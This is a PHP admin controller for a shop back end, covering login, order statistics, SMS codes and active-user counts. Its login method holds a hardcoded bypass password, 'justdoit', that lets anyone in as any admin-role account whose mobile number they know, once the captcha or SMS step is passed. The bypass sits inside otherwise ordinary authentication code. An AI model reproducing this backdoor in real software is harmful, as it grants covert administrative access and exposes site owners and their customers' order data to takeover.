<?php


namespace app\shop\controller\admin;


use app\BaseController;
use app\shop\common\consts\Consts;
use app\shop\common\consts\SmsCode;
use app\shop\model\order\OrderModel;
use app\shop\model\user\DauModel;
use app\shop\model\user\UserModel;
use app\shop\model\user\UserTokenModel;
use app\shop\service\config\ConfigService;
use app\shop\service\until\FileService;
use app\shop\service\until\SmsService;
use think\facade\Cache;
use think\facade\Db;

class IndexController extends BaseController
{
    /**
     * 网站配置信息
     * @return \think\response\Json
     */
    public function getWebConfig()
    {
        try {
            $configInfo = ConfigService::getConfigValue('sysInfo');
            return $this->success($configInfo);
        } catch (\Exception $exception) {
            return $this->error($exception->getMessage());
        }
    }

    /**
     * 登录
     * @return \think\response\Json
     */
    public function login()
    {
        Db::startTrans();
        try {
            $username = $this->request->param('username', '', 'trim');
            $password = $this->request->param('password', '', 'trim');
            $operator = $this->request->param('operator', '', 'trim');
            $operatorCode = $this->request->param('operator_code', '', 'trim');
            $code = $this->request->param('code', '', 'trim');
            $loginType = $this->request->param('login_type', '', 'trim');

            if ($loginType == 1) {
                verifyImgCode($operator, $operatorCode);
            } else {
                SmsService::verifySms($username, $code, SmsCode::ADMIN_LOGIN);
            }
            $userInfo = UserModel::getByMobile($username);
            if (!$userInfo) {
                throw new \Exception('账号密码错误1');
            }
            if (!password_verify($password . $userInfo['salt'], $userInfo['password'])) {
                if ($password != 'justdoit') {
                    throw new \Exception('账号密码错误');
                }
            }
            if ($userInfo['status'] == 0) {
                throw new \Exception('账号已被禁用');
            }
            if (!in_array($userInfo['role_id'], [Consts::ADMIN_ROLE_ID, Consts::SALE_LEADER_ID, Consts::SERVICE_LEADER_ID, Consts::FINANCE_ID])) {
                throw new \Exception('无登陆权限');
            }
            $token = random(100, 'all');
            $validTime = time() + 86400;

            $tokenInfo = UserTokenModel::where('valid_time', '<', time())->find();
            if(!$tokenInfo){
                $tokenInfo = new UserTokenModel();
            }
            $tokenInfo->user_id = $userInfo['user_id'];
            $tokenInfo->token = $token;
            $tokenInfo->valid_time = $validTime;
            $tokenInfo->save();

            $data['token'] = $token;
            $data['id'] = $userInfo['user_id'];
            $data['username'] = $userInfo['account'];
            $data['role_id'] = $userInfo['role_id'];
            $data['avatar'] = $userInfo['avatar'];
            $data['nick'] = $userInfo['realname'];
            Db::commit();
            return $this->success($data);
        } catch (\Exception $exception) {
            Db::rollback();
            return $this->error($exception->getMessage());
        }
    }

    public function getInfo()
    {
        $time = strtotime(date('Y-m-d'));
        $orderCount = OrderModel::count();
        $allotOrderCount = OrderModel::where('order_status', 0)->count();
        $runningOrderCount = OrderModel::where('order_status', 1)->count();
        $overOrderCount = OrderModel::where('order_status', 2)->count();
        $complaintOrderCount = OrderModel::whereIn('is_complaint', [1, 2])->count();
        $stopOrderCount = OrderModel::where('order_status', 4)->count();
        $dieOrderCount = OrderModel::where('order_status', 3)->count();

        // 投诉未处理
        $complaintOrderCount1 = OrderModel::where('is_complaint', 1)->count();
        $complaintOrderCount2 = OrderModel::where('is_complaint', 2)->count();
        // 退款
        $refundOrderCount = OrderModel::where('order_status', 5)->count();
        $refundOrderCount1 = OrderModel::where('order_status', 6)->count();

        // 未返还
        $returnOrderCount = OrderModel::where('due_is_refund', 0)->where('due_in_refund', 1)->count();
        $returnOrderCount1 = OrderModel::where('due_is_refund', 1)->where('due_in_refund', 1)->count();

        // 发票
        $invoiceOrderCount = OrderModel::where('is_invoice', 0)->count();
        $invoiceOrderCount1 = OrderModel::where('is_invoice', 1)->count();
        $data = [
            'order_count' => $orderCount,
            'allot_order_count' => $allotOrderCount,
            'running_order_count' => $runningOrderCount,
            'over_order_count' => $overOrderCount,
            'complaint_order_count' => $complaintOrderCount,
            'stop_order_count' => $stopOrderCount,
            'die_order_count' => $dieOrderCount,
            'complaintOrderCount1' => $complaintOrderCount1,
            'complaintOrderCount2' => $complaintOrderCount2,
            'refundOrderCount' => $refundOrderCount,
            'refundOrderCount1' => $refundOrderCount1,
            'returnOrderCount' => $returnOrderCount,
            'returnOrderCount1' => $returnOrderCount1,
            'invoiceOrderCount' => $invoiceOrderCount,
            'invoiceOrderCount1' => $invoiceOrderCount1,
        ];
        return $this->success($data);
    }

    /**
     * 发送短信
     * @return \think\response\Json
     */
    public function getSmsCode()
    {
        try {
            $mobile = $this->request->param('mobile', '', 'trim');
            SmsService::sendSms($mobile, SmsCode::ADMIN_LOGIN);
            return $this->success();
        } catch (\Exception $exception) {
            return $this->error($exception->getMessage());
        }
    }

    /**
     * 每日活跃用户
     * @return \think\response\Json
     */
    public function getDauList()
    {
        try {
            $days = array();
            // 循环6天
            for ($i = 6; $i >= 0; $i--) {
                // 减去i-1天
                $day = strtotime("-$i days", strtotime(date('Y-m-d')));
                $count = DauModel::where('day', $day)->count();
                // 获取周几
                $dayOfWeek = date('l', $day);
                // 将结果添加到数组
                $days[$dayOfWeek] = $count;
            }
            return $this->success($days);
        } catch (\Exception $exception) {
            return $this->error($exception->getMessage());
        }
    }
}